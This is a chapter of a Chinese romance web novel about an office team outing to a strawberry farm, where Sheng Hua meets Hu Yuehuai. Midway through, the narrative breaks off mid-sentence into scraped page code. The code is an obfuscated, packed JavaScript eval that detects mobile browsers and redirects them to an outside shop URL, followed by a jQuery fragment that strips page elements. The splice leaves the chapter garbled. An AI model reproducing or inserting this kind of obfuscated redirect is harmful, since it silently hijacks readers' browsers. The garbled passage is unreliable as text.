14. 第 14 章

作品:《狐狸的抱恩

    转眼就是周五。


    这天阳光明媚,天公作美。


    因团建在即,人心浮动。大家没什么上班的心思,摸鱼的、划水的,整个上午都乱乱糟糟。


    终于挨到中午下班。


    才吃过饭,负责人租来的几辆大巴就停在公司门口。


    等参加团建的人都上了车,大巴启动,带着一车被工作折磨的打工人,往城市的郊外而去。


    一个半小时后,车在一个很大的农庄停下。这农庄有池塘有田野,阳光照射之下,旁边还有一片白茫茫的草莓大棚。


    一下车,负责人就喊:“自由活动,想干嘛干嘛,晚上六点记得来这里吃饭!”


    说完,所有人像散养的鸡一样,蹿进农场,转眼不见踪迹。


    宁晓也很兴奋,拉着盛婳:“走走走,我们摘草莓去。”


    盛婳被她拉得东倒西歪,忍不住说:“现在十一月,草莓不当季,能好吃吗?”


    “你落伍啦,”宁晓双脚倒腾得飞快,“现代农业技术进步,反季水果又有什么难的?”


    一路走过去,阳光灿烂,风暖花香,池塘枯树边停着几只小鸟,听见脚步声噗一下飞远。


    说话间,两人顺着水泥马路,很快就到了那片草莓棚前。


    才刚靠近,一股甜香迎面而来。


    几个草莓棚并作一排,入口处守着一个四十来岁的大姐,见人过来,拿出几个塑料篮,叮嘱说:“二十五一斤,吃多少摘多少,别到处乱扔。”


    两人一人拿一个篮子,高高兴兴进了棚。


    他们来得不算早,里面已经有几对情侣,各自缩在角落,说一些别人听不懂的话。


    宁晓龇牙咧嘴地说:“走走走,这里都不红,我们往后面看看。”


    连着穿过两个棚,眼看周围越来越静,连阳光都似乎黯淡很多,盛婳连忙将人拉住:“这里也挺多的。”


    宁晓才意犹未尽停下。


    她蹲下身,摘了一颗红彤彤的大草莓,也不放进篮子,只象征性地擦了下表面的灰,然后嘴巴一张。


    阿呜,嚼嚼嚼……


    盛婳目瞪口呆,一把把她拉起来:“这就吃了?你不怕上面有农药残留吗?”


    嘴巴上还沾着红色的果汁,宁晓毫不在意,抬起手背胡乱擦去:“放心,果熟期不会打药的啦。”


    虽然对草莓种植的过程不甚了解,但这并不妨碍盛婳在短视频上,刷到过关于草莓大棚的信息。


    她面无表情:“虽然不打药,但你怎么知道,你吃的这颗草莓没有被虫爬过?或者被路过的老鼠舔过?”


    宁晓:……


    “反正死不了。”她吐吐舌头,把盛婳往旁边一推,“快摘吧,快摘吧,等会人又多了。”


    她自己都不在乎,盛婳见好就收,不再多话。


    草莓垄起得高,上面覆着黑色地膜,红色的果子藏在绿色的枝叶里,像一颗颗晶莹的宝石。


    但宝石可不会被虫吃。


    蹲在沟壕里,盛婳压低身子,目光仔细从每一颗果子上扫过,以免把品相不好的带回家。


    头顶塑料膜笼着阳光,棚子里温度很高,人不知不觉就一身汗。


    不知多久。


    篮子里的草莓才铺满一层,腰酸背痛的盛婳起身放松,目光一抬,却见棚子里空空荡荡,只她一个,宁晓早不知去向。


    她一愣,站起。


    周围安静极了,棚子入口处的薄膜掩着,看不见外面。


    不行。


    想起那天在公司楼梯间里的遭遇,她拔腿就往出口走,不能一个人呆在这里,要去有人的地方。


    心立时噗通跳起来,后背洇出一层薄汗。


    脚下的地崎岖不平,盛婳几步冲到入口,正欲掀开半掩的塑料膜,就跟一个抬腿进来的人撞个正着。


    “哎呦——”


    她惊呼一声,手里篮子飞出去,里面的草莓洒了一地,身体也不由自主往后歪。


    正要砸个屁股蹲,来人眼疾手快,伸手揽住她的腰。


    天旋地转。


    等反应过来,两人齐齐倒在两行地垄之间的土沟里。


    “你没事吧?”依旧是熟悉的声音。


    盛婳抬头,胡月徊撑着身子半坐在地上,单手圈着她的腰将她护在怀里,长头发洒在旁边草莓株上,瀑布一样铺开。


    “怎么是你?”她惊讶。


    手撑着要从这人身上爬起,但田沟狭窄,她下脚没踩稳,一个趔趄又砸了回去。


    “赫——”


    胡月徊闷哼一声,似乎被‘伤’得不轻。


    盛婳不敢再动,趴在他怀里:“抱歉,我不是故意的。”


    “没事。”胡月徊笑说。


    他动了动膝盖,手从她腰上下来,撑在旁边覆膜的土垄上。


    掌下躯体温热,隔着冬日的衣物,也能感觉到层叠肌群因用力而鼓胀起来的弧度。


    呼吸之间,那股雨后池塘般的香气更加浓郁。


    盛婳双颊红透,眼珠不敢乱动,只低头盯住眼前外套的扣子。


    毛呢,牛角。覆住里面那层薄薄的白色衬衣,以掌下触感来看,应该穿得不多。


    不会冷吗?


    胡思乱想间,人已经踩在地上。


    也不知道胡月徊怎么做到的,带着两个人的体重站定,单手揽住她的腰,还不忘问:“站稳了吗?”


    盛婳点头:“好了。”


    他这才放手。


    两人一身狼狈,盛婳摘掉裤子上一颗被压烂的草莓,叹气:“好像每次见你,我都格外狼狈。”


    “我觉得不对。”胡月徊说着,一只软绵绵垂在衣袖里,“为什么不能是因为你需要,我才会出现呢?”


    盛婳觉得不对,伸手过去:“你的手怎么了?”


    还没碰到,就被对方微微一个侧身避过。


    胡月徊笑说:“出了点小意外,”然后撩开衣袖,露出一段小臂,“暂时使不上力。”


    臂上缠着绷带,有点点红色渗出,应该是血。


    盛婳惊讶:“这么严重?”


    “只是小伤。”说完,胡月徊长手一伸,隔着一个垄,将摔在隔壁沟里的篮子捡回来。


    篮子底部还有几颗残存的幸运儿,被递过来时,颤颤巍巍晃动两下。


    盛婳接过:“你应该休息的。”


    胡月徊明显不想在这个话题上停留,他目光扫过脚下滚落一地的红果,敛眉发愁:“这些还要吗?”


    滚着涟漪的心湖顿时平静。


    盛婳低头,努力了半天的采摘成果被两人压得面目全非,只角落里几颗还算完整。


    她伸手捡起:“不要浪费了。”


    捡完,又望着满地烂果皱眉:“要是老板知道我们这样浪费了,肯定会罚款吧?”


    “那就不让老板知道就好了。”胡月徊说。


    “你有办法?”


    胡月徊笑笑:“看我的。”


    然后蹲下身,抬手朝地上与泥土混在一块的烂果伸过去。


    “欸——”盛婳倾身,想要阻止,却已经来不及了。


    雪白的手贴在泥地上,铲子一样将烂果拢作一堆。完了,他头也不抬说:“给我找根棍子来,没有棍子硬的东西也行。”


    棍子?


    盛婳扫一眼棚内,除了垄就是草莓,哪里有棍子?


    心念一动,她将篮子放在旁边土垄上,掀开半掩塑料布走出去,站在棚门口左右看。


    大棚立在一条小河边,南方再暖,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477829|201585||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    冬日草木难免萧瑟。边上柳树早就落光了叶,几只麻雀缩在枝上。


    走过去,折下一枝。


    回到棚里,交给胡月徊。他拿过树枝,手上用力,两三下就在沟底撅出个小坑。


    烂果推进去,土埋上,再用鞋子踩实踩平。


    不过转眼,狼藉不见。


    胡月徊起身,云淡风轻拍去掌上泥土,两只眼睛又弯成月牙,对她说:“‘毁尸灭迹’成功,想来老板应该不会因为你浪费而罚钱了。”


    盛婳张张嘴。


    他眼下不知道什么时候沾上一抹泥痕,似白壁染瑕,在光洁的皮肤上分外显眼。


    也正是这一抹痕迹,让他整个人都鲜活起来,是神台上的观音落地,滚过俗世,身染红尘。


    她噗嗤一下就笑出来。


    胡月徊不解,歪头看她,长发拂过曲起的手肘垂在腕上,稍尾卷着一片枯叶。


    盛婳随手摘下,忍不住:“没想到,你居然是这样的人。”


    胡月徊眨眨眼:“‘这样’是哪样?”


    能哪样?无非就是一些浮于表面的形容词,说出来也不过增加一些对人的刻板印象。


    她摇头,只想问他可不可以碰碰他的脸。无甚绮思,不过是想帮白璧拂去瑕疵,观音拭去红尘。


    可话到嘴边又觉不妥,于是遮掩一般躬身捡起垄上篮子,问:“你怎么在这里?跟着公司一起来团建?”


    胡月徊是个好脾气的人,突兀间转移话题也不会多问。


    他点头,摘下一颗红果放进她拿着的篮子里:“上次不是跟你说过,我们很快就能见面,忘记了?”


    上次?


    盛婳反应过来:“难怪说不用等到周末就能见面,你早就知道?”


    “谢臣提议的,我来混个脸熟。”


    “然后一个人来摘草莓?”


    “我是来找你的。”


    没等盛婳惊讶,他又开口:“他们打麻将,我又不会。公司里除了谢臣,就只认识你。”


    一颗心落回原位,盛婳哭笑不得,说:“真难为你了,居然知道我在草莓棚里。”


    胡月徊也叹:“不容易的,问了你们公司好多人。”


    “为什么不直接问我?”


    “那就没意思了,”胡月徊摊手,指甲间的泥屑分外显眼,“不然怎么给你惊喜?”


    确定不是惊吓吗?


    可目光对上这人的脸,到了嘴边的吐槽又收回去。这世上的人,无论男女,一副好皮囊总能得便宜。


    “摘满了。”她指着篮子。


    小小的塑料篮,红色,盛着饱满的红果,宝塔一样堆出篮沿。


    “啊,”胡月徊小小惊呼一声,从她手里拿过篮子,左右看,“那现在要走吗?还是再拿一个空的来?”


    盛婳对草莓兴趣不大,来也只是为了陪伴宁晓,可宁晓却不见人影,也不知道去了哪里。


    她示意胡月徊稍等一下,然后拿出手机给宁晓发消息。


    问询的文字通过网络送出去,却不见回答。


    眉头不自觉皱起,却被胡月徊伸手点了点:“是什么天大的事,值得你这样忧愁?”


    盛婳顿时笑开,摇头,把和宁晓一起摘草莓,一抬头对方却不见了的事说一遍,然后:“发消息也不回,也不知道去了哪里。”


    胡月徊:“不如外面等,这里又闷又热,站久了受罪。”


    盛婳觉得也是,遂点头。


    两人顺着壕沟走出大棚,在守门的阿姨处称了重付了钱,正准备找个地方坐一坐。


    目光却突然顿住。


    小河潺潺,临岸的芦苇早就枯败,一个熟悉的身影借着苇叶掩映,和个男人拥在一起,姿态亲密。


    她停下脚步。